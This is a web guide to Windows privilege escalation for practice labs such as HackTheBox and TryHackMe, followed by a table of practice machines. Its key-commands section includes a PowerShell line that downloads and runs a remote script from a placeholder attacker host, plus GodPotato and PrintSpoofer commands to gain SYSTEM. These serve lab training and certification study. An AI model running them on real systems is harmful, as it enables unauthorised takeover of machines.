Windows Privilege Escalation: practice machines and key commands

By Daniel Dayan ยท Updated

Windows privilege escalation starts with understanding who you are and what the account can do. Run whoami /all and look for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, which service accounts usually hold and which potato style tools such as PrintSpoofer and GodPotato convert to SYSTEM. Other common paths are unquoted service paths, weak service binary or registry permissions, AlwaysInstallElevated, stored credentials, scheduled tasks and UAC bypasses when you are an administrator in a medium integrity shell. Automated scripts like WinPEAS list candidates quickly, but verify each finding by hand. Check the architecture and OS build before choosing an exploit. These machines cover the main Windows escalation families. Note the integrity level of your shell, because many techniques only work from a service context or an elevated prompt. Keep payloads small, test in a lab copy first, and clean up any service or registry change you make so the box stays stable for later steps.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

WinPEAS In-Memory Download & Execute

Execute WinPEAS privilege escalation scanner directly in memory via WebClient.

powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://{LHOST}:8000/winPEAS.ps1')"

GodPotato SeImpersonatePrivilege Exploit

Abuse SeImpersonatePrivilege on Windows Server 2012-2022 via DCOM/RPC reflection.

GodPotato-NET4.exe -cmd "cmd.exe /c whoami"

PrintSpoofer SeImpersonate / Named Pipe Exploit

Elevate from service account to SYSTEM via print spooler named pipe reflection.

PrintSpoofer64.exe -i -c cmd

Unquoted Service Path Enumeration

Detect auto-starting Windows services with unquoted executable paths containing spaces.

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

AlwaysInstallElevated Registry Query

Verify if MSI packages run with elevated SYSTEM permissions via registry keys.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Keep going

Windows Privilege Escalation machines (14)

6 of these are machines I solved myself and are listed first within each difficulty. 14 Windows.

Listed when a machine has a catalog tag that is one of: juicypotato, xp cmdshell, seimpersonateprivilege, token impersonation, printspoofer, godpotato, potato, unquoted service path, uac bypass, alwaysinstallelevated, cve 2019 1388, registry, winpeas; or a tag that contains the text potato. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.

Windows Privilege Escalation at a glance

Very Easy (1)

MachinePlatformOSTags
Archetypexp_cmdshellJuicyPotatoMSSQLPowerShellHTBWindowsxp_cmdshell, JuicyPotato, MSSQL, PowerShell

Easy (7)

MachinePlatformOSTags
Blue IppSecHTBWindowsEditor-mapped
Devel IppSecHTBWindowsEditor-mapped
Grandpa IppSecCVE-2017-7269HTBWindowsEditor-mapped, CVE-2017-7269
Granny IppSecCVE-2017-7269HTBWindowsEditor-mapped, CVE-2017-7269
Optimum IppSecCVE-2014-6287HTBWindowsEditor-mapped, CVE-2014-6287
AlfredToken ImpersonationSeImpersonatePrivilegePrintSpooferJenkinsTHMWindowsToken Impersonation, SeImpersonatePrivilege, PrintSpoofer, Jenkins
Steel MountainUnquoted Service PathRejetto HFSCVE-2014-6287PowerUpTHMWindowsUnquoted Service Path, Rejetto HFS, CVE-2014-6287, PowerUp

Medium (5)

MachinePlatformOSTags
Arkham IppSecUAC-BypassJava-DeserializationHTBWindowsUAC-Bypass, Java-Deserialization
BlasterCVE-2019-1388UAC-BypassRDPTHMWindowsCVE-2019-1388, UAC-Bypass, RDP
Hospital IppSecSeImpersonatePrivilegeRoundcubeWebmailCVE-2023-43770HTBWindowsSeImpersonatePrivilege, Roundcube, Webmail, CVE-2023-43770
RelevantPrintSpooferSeImpersonatePrivilegeSMBIISTHMWindowsPrintSpoofer, SeImpersonatePrivilege, SMB, IIS
Visual IppSecSeImpersonatePrivilegeVisual StudioMSBuildHTBWindowsSeImpersonatePrivilege, Visual Studio, MSBuild

Hard (1)

MachinePlatformOSTags
RetroCVE-2019-1388WordPressRDPTHMWindowsCVE-2019-1388, WordPress, RDP

Related techniques

Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.